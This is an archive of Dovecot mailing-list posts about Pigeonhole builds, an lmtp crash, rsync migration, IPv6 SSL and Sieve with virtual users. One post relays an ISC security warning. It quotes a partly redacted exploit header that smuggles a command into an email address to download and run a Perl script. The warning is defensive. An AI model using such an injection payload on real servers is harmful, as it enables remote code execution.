5bu+Dn8Y1KeA8UJBKb+0CjVLrNLI0MeukzylLO43UL8iFfdHhgLo7hzh9L4HNVIs qk5fot9c0Q2/DDWUTO/lxMXaE1uZxxdPaAHQiTz/A7FbWQqtM5QtuP5z+NQprFqo f8cyCUETlGdde9CoBCmLZLSs3GlV7sjimJwL3xd4SP21S2fJvpkZcHWNKXl7btm9 UnQJCTXli1WdwrsY+vSiLUIPZJG8jg3F5NkCV55rWH21OnkmvUG0MKQW5Icggb9V W8K5EI66S3soMFSIyiGWf5iPDU8KyYd1GA6/pDESksJhbDKktPn5Dq4LgWNuIwp0 ZgvCHNcO1ZPH2T7VpDPBOEYeYHICrUfKLX7I9/v8RM9pbIRsjYXd0FgqwNDIXRyq daB394iwfQUmGbjjvcSZ =D9b8 -END PGP SIGNATURE-
Re: [Dovecot] v2.2.5 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Jim Knuth said the following on 06/08/2013 12:11: Unless I'm wrong, the latest one for Dovecot 2.2: http://www.rename-it.nl/dovecot/2.2/dovecot-2.2-pigeonhole-0.4.1.tar.gz Thanx, Axel. But the question was: Is that the right one? ;) Works like a charm in my installations Ciao, luigi - -- / +--[Luigi Rosa]-- \ Computers make excellent and efficient servants, but I have no wish to serve under them. Captain, a starship also runs on loyalty to one man. And nothing can replace it or him. --Spock, The Ultimate Computer -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlIA9cIACgkQ3kWu7Tfl6ZRLmQCfWQMaPcWtG+sFZEx78QfAeF1Z mg8An3gJ8Zmk6KF6aLdP/Qej/m9qZ6dB =cbJX -END PGP SIGNATURE-
Re: [Dovecot] [Dovecot-news] v2.2.3 released
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Benny Pedersen said the following on 17/06/2013 08:09: James Brown skrev den 2013-06-17 08:02: Jun 17 15:48:46 mail dovecot[44072]: config: Error: Module is for different ABI version 2.2.ABIv2(2.2.2) (we have 2.2.ABIv3(2.2.3)): /usr/local/lib/dovecot/settings/libmanagesieve_settings.so Can someone tell me how to fix this? you wait for pigenhole 2.2.3 I did a make/make install with pigeonhole 0.4.0 and everything works as expected Ciao, luigi - -- / +--[Luigi Rosa]-- \ I got the bill for my surgery. Now I know what those doctors were wearing masks for. --James Boren -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlG+qHwACgkQ3kWu7Tfl6ZR4xwCeKkFH/mOO5DGnj/OMtUl49GqL OLwAn0MS1griwtEKPWygnKfso1LRFgMv =lsi9 -END PGP SIGNATURE-
[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature use_shell against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the use_shell parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.
Re: [Dovecot] Pigeonhole for 2.2?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Vijay Rajah said the following on 04/05/2013 18:37: +1 This is holding up my migration to 2.2 Thanks to all the developer's for this amazing software I migrated a couple of servers with a hg clone http://hg.rename-it.nl/dovecot-2.2-pigeonhole/ It works. More info on http://pigeonhole.dovecot.org/download.html Ciao, luigi - -- / +--[Luigi Rosa]-- \ Life begins when you can spend your spare time programming instead of watching television. --Cal Keegan -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlGFOjEACgkQ3kWu7Tfl6ZQJKwCgud6MDuO4ma43x5ydFXswClQz 9lEAn3c1rG7Pm23EexwqB+d2vVjUiS7O =8uQ/ -END PGP SIGNATURE-
Re: [Dovecot] XFS vs EXT4 for mail storage
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Charles Marcus said the following on 02/05/2013 13:16: So, anyone (Stan?) have any suggestions? Should I go with EXT4? Or XFS with just the defaults? Or XFS with one or more tuned parameters? Expecially when you are working in virtual environments, keep in mind the concept of I/O cascading The bottleneck of virtual environment are often IOPS (I/O per second), so a VM that has a light footprint of IOPS will have a better performance. The I/O cascading is in essence the muptiplying factor of each disk write at application level. Consider a SQL UPDATE statement: you have date written on database and trasaction log. Each file will have its mtime updated. If the underlying file system is transactional you will have double writes for actual file and transaction log... And so on. The first and obvious advice (quite a default nowdays with SSD storage) is to mount the FS with noatime. But I think that is obvius as do backups. Ciao, luigi - -- / +--[Luigi Rosa]-- \ If one morning I walked on top of the water across the Potomac River, the headline that afternoon would read President Can't Swim. --Lyndon B. Johnson -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlGCU+IACgkQ3kWu7Tfl6ZSLjwCgt2MJu5wqXOj4Mt3UdsvmaFc1 cO0AnAmxKtsJ0evmrVXUlnY6e06WtLIL =Rf7R -END PGP SIGNATURE-
[Dovecot] rsync migration issue
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I am trying to migrate a mail server from an old VM to a new one. I have maildir and virtual users, the files and dirs of the file system are owned by a single user. I exported the old (now in production) /var/spool/mail with (ro,no_root_squash) parameters I mounted the NFS on the new server with -o nolock This is not the first time I use this method and it always worked. Until now. If I try to rsync the current maildir structure to the new server I get MANY errors like: rsync: readdir(/mnt//username): Invalid argument (22) rsync: readdir(/mnt//username/.Deleted Messages/cur): Too many levels of symbolic links (40) I tried with rsync -a rsync --force --delete-after --devices --specials --sparse -tPrlHpogEAX rsync --force --delete-after --devices --specials --sparse -tPrlHpogEAXL but the result is the same. Suggestions? I don't want to tgz every mailbox, but I wuold like to do a rsync during the night and a final rsync bevore switching IP addresses to minimize downtime. Ciao, luigi - -- / +--[Luigi Rosa]-- \ It has just been discovered that research causes cancer in rats. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlFsRfcACgkQ3kWu7Tfl6ZRNbQCgk9AR7THYXT6+rqLFE5H8zSem QhUAnR33bNbcXwWfNSj8PN0YgY40gdHH =salc -END PGP SIGNATURE-
Re: [Dovecot] rsync migration issue [solved]
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Luigi Rosa said the following on 15/04/2013 20:25: I mounted the NFS on the new server with -o nolock This is not the first time I use this method and it always worked. Until now. If I try to rsync the current maildir structure to the new server I get MANY errors like: rsync: readdir(/mnt//username): Invalid argument (22) rsync: readdir(/mnt//username/.Deleted Messages/cur): Too many levels of symbolic links (40) For the record: solved using rsync over ssh instead of mounting the file system with NFS. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Mathematicians are like Frenchmen: whatever you say to them they translate into their own language and forthwith it is something entirely different. --Johann Wolfgang von Goethe -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlFs2lUACgkQ3kWu7Tfl6ZSRTACfbDpq7+jxIL6LgFILFd1qM3YW rY0AoMfew+XII5Geb9JxsvaeYiTgBUTX =DkXI -END PGP SIGNATURE-
Re: [Dovecot] 2.2.0 lmtp runtime error
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 14/04/2013 17:29: Packing it along with the log and sending to your email account right now Ciao, luigi - -- / +--[Luigi Rosa]-- \ Massachusetts patient tested for mad cow disease. So, be sure not to eat meat from any Massachusetts patients --fark.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlFq3NgACgkQ3kWu7Tfl6ZS9ywCZAfR8LlmiYbFQXMECh437OdcN gfUAn3LgJZqw4e8dGtdgj3sgHlLghzZQ =Ym7C -END PGP SIGNATURE-
Re: [Dovecot] 2.2.0 lmtp runtime error
Timo Sirainen said the following on 14/04/2013 20:30: Looks like mailbox_list_index=yes is broken in v2.2.0 release. Strange that I didn't notice it. This fixes it: http://hg.dovecot.org/dovecot-2.2/rev/fc9ef7d2251a Tha patch did the trick, it works! Ciao, luigi -- / +--[Luigi Rosa]-- \ If it's working, the diagnostics say it's fine. If it's not working, the diagnostics say it's fine.
[Dovecot] 2.2.0 lmtp runtime error
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I didn't have much time in the last 2 weeks, so I was stuck to a functioning 2.2.rc3 + pigeonhole 0.4.0 Server is CentOS 64: Linux mail.luigirosa.com 2.6.32-358.2.1.el6.centos.plus.x86_64 #1 SMP Wed Mar 13 02:09:07 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux I compiled and installed 2.2.0 and rebuilt pigeonhole 0.4.0 and this hapens ans soon as a new mail arrives: Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: Effective uid=501, gid=501, home=/var/spool/mail/.com/lrosa/ Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: maildir++: root=/var/spool/mail/.com/lrosa, index=, indexpvt=, control=, inbox=/var/spool/mail/.com/lrosa, alt= Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: sieve: Pigeonhole version 0.4.0 initializing Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: sieve: include: sieve_global_dir is not set; it is currently not possible to include `:global' scripts. Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: +VmOJOo+aVE+MAAAP6OfHg: sieve: using the following location for user's Sieve script: /var/spool/mail/.com/lrosa//.dovecot.sieve;name=main script Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: +VmOJOo+aVE+MAAAP6OfHg: sieve: loading script /var/spool/mail/.com/lrosa//.dovecot.sieve;name=main script Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: +VmOJOo+aVE+MAAAP6OfHg: sieve: script binary /var/spool/mail/.com/lrosa//.dovecot.svbin successfully loaded Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: +VmOJOo+aVE+MAAAP6OfHg: sieve: binary save: not saving binary /var/spool/mail/.com/lrosa//.dovecot.svbin, because it is already stored Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: +VmOJOo+aVE+MAAAP6OfHg: sieve: executing script from /var/spool/mail/.com/lrosa//.dovecot.svbin Apr 13 13:18:02 mail dovecot: lmtp(12346, li...@luigirosa.com): Debug: Namespace : Using permissions from /var/spool/mail/luigirosa.com/lists: mode=0700 gid=default Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Debug: Namespace : Using permissions from /var/spool/mail/.com/lrosa: mode=0700 gid=default Apr 13 13:18:02 mail dovecot: lmtp(12346, li...@luigirosa.com): Fatal: master: service(lmtp): child 12346 killed with signal 11 (core dumps disabled) Apr 13 13:18:02 mail dovecot: lmtp(12350, lr...@.com): Fatal: master: service(lmtp): child 12350 killed with signal 11 (core dumps disabled) Apr 13 13:18:02 mail dovecot: lmtp(12348, lr...@.com): Debug: Namespace : Using permissions from /var/spool/mail/.com/lrosa: mode=0700 gid=default Apr 13 13:18:02 mail dovecot: lmtp(12348, lr...@.com): Fatal: master: service(lmtp): child 12348 killed with signal 11 (core dumps disabled) Ciao, luigi - -- / +--[Luigi Rosa]-- \ God runs electromagnetics by wave theory on Monday, Wednesday, and Friday, and the Devil runs them by quantum theory on Tuesday, Thursday, and Saturday. --William Bragg -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlFpQYcACgkQ3kWu7Tfl6ZTCgwCdGeOjpkQNwYPN5JHhG01/fm3d BMQAniE22e2ie4/ab6S2cFf6pFvqgo+U =iHoY -END PGP SIGNATURE-
Re: [Dovecot] 2.2.0 lmtp runtime error
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Oscar del Rio said the following on 13/04/2013 15:51: Did you re-download the most recent pigeonhole code? I believe there were API changes since RC3. I redownloaded the entire 0.4.0 just after Dovecot 2.2.0 The same 0.0.4 works with 2.2.rc3 Ciao, luigi - -- / +--[Luigi Rosa]-- \ Procrastinators do it tomorrow. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlFpaRwACgkQ3kWu7Tfl6ZQqzQCffKrMZ5jjSgIDt+mHuOwDfTkZ pV4AmwdlKUzAsNHZjyGdRH+o5C7FmRBR =m7CE -END PGP SIGNATURE-
Re: [Dovecot] Dovecot 2.2.beta1
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Mark Sapiro said the following on 07/02/2013 20:06: Just an FYI, I have been running 2.2.beta1 for a few days now with no problems, but I'm not using any of the new features ;) Would like to, but on the server I use for testing I have pigeonhole and I cannot compile it against 2.2B1 Is there a version for 2.2? Making install in src make[1]: Entering directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src' Making install in lib-sieve make[2]: Entering directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src/lib-sieve' Making install in plugins make[3]: Entering directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src/lib-sieve/plugins' Making install in vacation make[4]: Entering directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src/lib-sieve/plugins/vacation' /bin/sh ../../../../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. - -I../../../.. -I./../../ -I/usr/local/include/dovecot-std=gnu99 -g -O2 - -Wall -W -Wmissing-prototypes -Wmissing-declarations -Wpointer-arith - -Wchar-subscripts -Wformat=2 -Wbad-function-cast -fno-builtin-strftime - -Wstrict-aliasing=2 -MT cmd-vacation.lo -MD -MP -MF .deps/cmd-vacation.Tpo -c - -o cmd-vacation.lo cmd-vacation.c libtool: compile: gcc -DHAVE_CONFIG_H -I. -I../../../.. -I./../../ - -I/usr/local/include/dovecot -std=gnu99 -g -O2 -Wall -W -Wmissing-prototypes - -Wmissing-declarations -Wpointer-arith -Wchar-subscripts -Wformat=2 - -Wbad-function-cast -fno-builtin-strftime -Wstrict-aliasing=2 -MT cmd-vacation.lo -MD -MP -MF .deps/cmd-vacation.Tpo -c cmd-vacation.c -fPIC - -DPIC -o .libs/cmd-vacation.o In file included from cmd-vacation.c:24: ./../../sieve-generator.h:78: error: expected specifier-qualifier-list before 'ARRAY_DEFINE' cmd-vacation.c: In function 'ext_vacation_operation_execute': cmd-vacation.c:696: warning: implicit declaration of function 'ARRAY_DEFINE' cmd-vacation.c:696: error: 'norm_addresses' undeclared (first use in this function) cmd-vacation.c:696: error: (Each undeclared identifier is reported only once cmd-vacation.c:696: error: for each function it appears in.) cmd-vacation.c:696: error: expected expression before 'const' cmd-vacation.c:712: warning: type defaults to 'int' in declaration of 'type name' cmd-vacation.c:712: error: size of array 'type name' is negative cmd-vacation.c:726: warning: type defaults to 'int' in declaration of 'type name' cmd-vacation.c:727: warning: type defaults to 'int' in declaration of 'type name' make[4]: *** [cmd-vacation.lo] Error 1 make[4]: Leaving directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src/lib-sieve/plugins/vacation' make[3]: *** [install-recursive] Error 1 make[3]: Leaving directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src/lib-sieve/plugins' make[2]: *** [install-recursive] Error 1 make[2]: Leaving directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src/lib-sieve' make[1]: *** [install-recursive] Error 1 make[1]: Leaving directory `/usr/src/dovecot-2.1-pigeonhole-0.3.3/src' make: *** [install-recursive] Error 1 Ciao, luigi - -- / +--[Luigi Rosa]-- \ Your mouse has moved. Please wait while Windows restarts for the change to take effect. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlEXZM0ACgkQ3kWu7Tfl6ZS4lACbB1sO/DRWJ2JDZpYlw3ZmzB4G MgAAoL7RcDj5Ev3I7GriBzDMMhhVztnO =+nYj -END PGP SIGNATURE-
Re: [Dovecot] Dovecot 2.2.beta1
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tobias Hachmer said the following on 10/02/2013 13:02: Is there a version for 2.2? Yes, see http://pigeonhole.dovecot.org/download.html Pigeonhole package for Dovecot v2.2 (development) # v2.2 code tree: hg clone http://hg.rename-it.nl/dovecot-2.2-pigeonhole/ Sorry, I didn't notice the second half of the download page Both Dovecot 2.2b and Pigeonhole are working as expected right now on my home server with a few mail accounts. Ciao, luigi - -- / +--[Luigi Rosa]-- \ The number of unlikely things that can happen is so large, you can be assured that unlikely things are likely. --Neil deGrasse Tyson @neiltyson via Twitter -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlEXkOsACgkQ3kWu7Tfl6ZQS1QCeKEg6jhHHXNIUFCY9bJFMFvks ucwAniTKa2n/nUzHG7KY5XgD9x/nKzyF =zlRu -END PGP SIGNATURE-
Re: [Dovecot] IPv6 SSL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Sean Kamath said the following on 06/10/12 07:44: Oct 6 07:13:44 mail dovecot: imap-login: Login: user=lr...@hypertrek.info, method=CRAM-MD5, rip=10.0.0.155, lip=10.0.0.254, mpid=17812, TLS, session=LZhzDV3LMQAKE0Ob And do you have a PTR record for 10.0.0.254? No, no PTR o other DNS entry for that address. No entry of that address in /etc/hosts on the Linux with Thunderbird or on the Linux with Dovecot. Ciao, luigi - -- / +--[Luigi Rosa]-- \ The past was erased, the erasure was forgotten, the lie became truth. --George Orwell, 1984 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://www.enigmail.net/ iEYEARECAAYFAlBv0LsACgkQ3kWu7Tfl6ZRTUgCgh1epu40NUiZ6CPlBrcFZezt/ nMYAnjUS5IxodwJfW7o9pJHfKoVCc9xK =8O4T -END PGP SIGNATURE-
Re: [Dovecot] IPv6 SSL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Patrick Westenberg said the following on 06/10/12 09:29: Can you provide the output of doveconf -n? Sure, here it is: # 2.1.10: /etc/dovecot/dovecot.conf # OS: Linux 2.6.18-308.1.1.el5.centos.plus x86_64 CentOS release 5.8 (Final) auth_cache_negative_ttl = 0 auth_cache_size = 100 k auth_cache_ttl = 8 hours auth_mechanisms = plain login digest-md5 cram-md5 auth_verbose = yes base_dir = /var/run/dovecot/ login_greeting = Ready. login_trusted_networks = 10.0.0.0/24 mail_plugins = stats managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve stats_refresh = 10s stats_track_cmds = yes } protocols = imap pop3 lmtp sieve service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { port = 4190 } } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service stats { fifo_listener stats-mail { mode = 0666 } } ssl_cert = /etc/path/to/file.crt ssl_key = /etc/path/to/file.key ssl_parameters_regenerate = 202 hours syslog_facility = local5 userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_proctitle = yes protocol lmtp { mail_plugins = sieve } protocol imap { imap_client_workarounds = tb-extra-mailbox-sep mail_plugins = stats imap_stats } protocol pop3 { pop3_client_workarounds = outlook-no-nuls pop3_uidl_format = %08Xu%08Xv } Ciao, luigi - -- / +--[Luigi Rosa]-- \ I will tell you a great secret, Captain. Perhaps the greatest of all time. The molecules of your body are the same molecules that make up this station and the nebula outside, that burn inside the stars themselves. We are star stuff, we are the universe made manifest, trying to figure itself out. As we have both learned, sometimes the universe requires a change of perspective. --Delenn, Distant Star, Babylon 5 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://www.enigmail.net/ iEYEARECAAYFAlBv538ACgkQ3kWu7Tfl6ZRsYACgzxbZjPbuiAKDNmMPphmiL1Li UuYAnAopP2AJE6GYyNRhBVYmUuFBqdkG =62M+ -END PGP SIGNATURE-
[Dovecot] IPv6 SSL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi, I have a dual stack server with Dovecot 2.1.10 listening on v4 and v6 Dovecot has a Comodo SSL certificate issued via NameCheap that works as expected with IPv4 in 10-ssl.conf I have enabled these configuraction directives: ssl = yes ssl_cert = /path/to/file.crt ssl_key = /path/to/file.key ssl_parameters_regenerate = 202 hours If I connect to Dovecot using the IPv6 address of the server with Thunderbird 15.0.1 uising CRAM-MD5 averything is ok. If I enable SSL _and_ IPv6 on Thunderbird I get this error: Oct 5 20:05:04 mail dovecot: imap-login: Disconnected (no auth attempts in 1 secs): user=, rip=2001:470:1f09:203:fdbf:508e:4a29:56c5, lip=2001:470:1f09:203::badd:ecaf, TLS: SSL_read() failed: error:14094418:SSL routines:SSL3_READ_BYTES:tlsv1 alert unknown ca: SSL alert number 48, session=ZcMRtlPLqgAgAQRwHwkCA/2/UI5KKVbF Ciao, luigi - -- / +--[Luigi Rosa]-- \ I will tell you a great secret, Captain. Perhaps the greatest of all time. The molecules of your body are the same molecules that make up this station and the nebula outside, that burn inside the stars themselves. We are star stuff, we are the universe made manifest, trying to figure itself out. As we have both learned, sometimes the universe requires a change of perspective. --Delenn, Distant Star, Babylon 5 -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://www.enigmail.net/ iEYEARECAAYFAlBvI50ACgkQ3kWu7Tfl6ZRBSACfRkp4FYpWaEZUQhIh0t6Vfs/I JbcAoKGZ769yogYS7faCXKvPTuhQiHA8 =jxCB -END PGP SIGNATURE-
Re: [Dovecot] IPv6 SSL
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Nick Rosier said the following on 05/10/12 22:47: How do you enable this in Thunderbird? If by enabling IPv6 you mean you put in the IPv6 address in stead of the hostname, that's probably where you're wrong. The certificate contains your hostname, not the IP-address so the hostname verification check fails if you insert the IPv6 address (i.e. hostname.tld != 2001:470:1f09:203:fdbf:508e:4a29:56c5so your connection fails). Good point. But does not explain why it works if I put the IPv4 address of the server (the local LAN IPv4, not the public IPv4). I've verified this by changing the hostname to IPv6 in Thunderbird and got the same error as you do. You would get the same error if you configure the IPv4 address in TB. The server I am referring to has 2 NICs one with a public IP and the other with a local IP address (10.0.0.254) If I put 10.0.0.254 instead of the IPv6 address I can successfully connect using TLS: Oct 6 07:13:44 mail dovecot: imap-login: Login: user=lr...@hypertrek.info, method=CRAM-MD5, rip=10.0.0.155, lip=10.0.0.254, mpid=17812, TLS, session=LZhzDV3LMQAKE0Ob Configure your DNS so your hostname points to both the IPv6 and IPv4 address. Your client will take take whichever protocol is preferred (IPv4 or IPv6). Thunderbird uses IPv4 as mail protocol, I wanted to test IPv6... Thank you for your help Ciao, luigi - -- / +--[Luigi Rosa]-- \ Success is 99% failure. --Soichiro Honda -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://www.enigmail.net/ iEYEARECAAYFAlBvv4kACgkQ3kWu7Tfl6ZQp2wCgvXPgRGANlAIaVkMvXZHIThYE OiwAoIOqIMD+3mT1znMl6lCCbHanwBta =B/r2 -END PGP SIGNATURE-
Re: [Dovecot] IMAP IDLE - iPhone?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 23/08/12 22:49: Is there a reason why 172.16.0.0/12 was left out of the change ^^ ? Is it actually used? :) YES! I have a big customer (400 PCs) with 172.16.0.0/16 internal network and a subnet of 192.168.0.0 for DMZ I use it more than 192.168 when I create networks. Ciao, luigi - -- / +--[Luigi Rosa]-- \ Walk softly and carry a megawatt laser. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAlA3CYkACgkQ3kWu7Tfl6ZSRaQCgy1YilsGEL7JXIDabKm+zSjZN cvEAoKYqE1ZjbR/g1XTiHUvlfpPuvWAE =RSAO -END PGP SIGNATURE-
Re: [Dovecot] IMAP IDLE - iPhone?
dove...@noboost.org said the following on 10/08/2012 04:44: Probably a very common question now days. I'd like to configure our iPhones at work to go directly to my dovecot server (currently dovecot-2.0.9-2.el6_1.1.x86_64). Using the IMAP IDLE (push email) protocol. I used K-9 client on Android for one year with push, but I had to remove it and go back to integrated email client because it drained the battery. Ciao, luigi -- / +--[Luigi Rosa]-- \ Why do we want intelligent terminals when there are so many stupid users?
[Dovecot] Server side Sieve with virtual users
Is there a way to implement server-side filters with Dovecot configured with virtual users (userbase in mysql, a single *NIX user account that owns /var/spool/mail and its content)? Thanks Ciao, luigi -- / +--[Luigi Rosa]-- \ A generation which ignores history has no past... and no future.
Re: [Dovecot] Server side Sieve with virtual users
Luigi Rosa said the following on 09/08/2012 18:16: Is there a way to implement server-side filters with Dovecot configured with virtual users (userbase in mysql, a single *NIX user account that owns /var/spool/mail and its content)? :) And the webpage/wikipage with documentation about this is ? Ciao, luigi -- / +--[Luigi Rosa]-- \ Error in operator: add beer.
Re: [Dovecot] Server side Sieve with virtual users
Adrian Minta said the following on 09/08/2012 19:25: First step is to have a mail system that works without sieve. This is the hard part. Not for me. I have more than 20 customers with their own Centos Linux with Postfix and Dovecot compiled by me, and Mysql, apache, php from the distribution source and RoundCube. protocols = pop3 pop3s imap imaps managesieve protocol lda { ... mail_plugins: quota sieve } protocol managesieve { } plugin { ... sieve=~/.dovecot.sieve sieve_dir=~/sieve } That's the point: sieve_dir can be the 'root' of the maildir structure? Virtual users do not have their own home (~) directory. If the sieve file is store in the 'root' maildir of each user, Dovecot uses the same single virtual (linux) user to access the maildir? Ciao, luigi -- / +--[Luigi Rosa]-- \ To define recursion, we must first define recursion.
Re: [Dovecot] Server side Sieve with virtual users
Adrian Minta said the following on 09/08/2012 19:46: (~) is the account maildir, not the homedir of linux user. Ok, thanks! Ciao, luigi -- / +--[Luigi Rosa]-- \ I went to the airport, with my ticket to Los Angeles. I brought three bags and told the Skycap I want this on to go to Seattle, this one to St. Louis and this one to Chicago. He said I'm sorry sir, but we can't do that. I said Why not? You did it last time. --Henny Youngman
[Dovecot] mount
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I have a Dovecot installation on CentOS 5 where I sometimes mount external fs in /mnt Every Dovecot data is in local / file system, nothing is mounted elswhere After upgrading to 1.2.4 I rebooted the system for other reasons and at startup I got this on Dovecot log: master: Warning: /mnt is no longer mounted. If this is intentional, remove it with doveadm mount No /mnt entry in /etc/fstab and nothing pmounted under /mnt I THINK that the last time I used /mnt to mount something was few weeks ago to update VMware tools. Is there a way toi tell Dovecot to ignore /mnt ? Ciao, luigi - -- / +--[Luigi Rosa]-- \ $100 invested at 7% interest for 100 years will become $100,000, at which time it will be worth absolutely nothing. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk+C58gACgkQ3kWu7Tfl6ZRc0wCgl0Z4OtblYbfYwzvOp1/vUifV PqYAoIvfltvmq3cijvDbOEKV2Tai2rpu =hyrI -END PGP SIGNATURE-
Re: [Dovecot] mount
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Timo Sirainen said the following on 09/04/12 15:57: Is there a way toi tell Dovecot to ignore /mnt ? doveadm mount add /mnt ignore Thanks, next time I will RTFM first. Ciao, luigi - -- / +--[Luigi Rosa]-- \ fortune cookie [UNIX] n. A random quote, item of trivia, joke or maxim printed to the user's tty at login time or (less commonly) at logout time. Items from this jargon file have often been used as fortune cookies. --Jargon File -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk+C6ykACgkQ3kWu7Tfl6ZQI6QCgt4E3Imx1OeaB6SqjIjWDhjS0 xqUAoKizTRivIkvKkQE5SS7zwCtPlL9B =RCsz -END PGP SIGNATURE-
Re: [Dovecot] Folder name migration when moving from 2.0.x to 2.1.x?
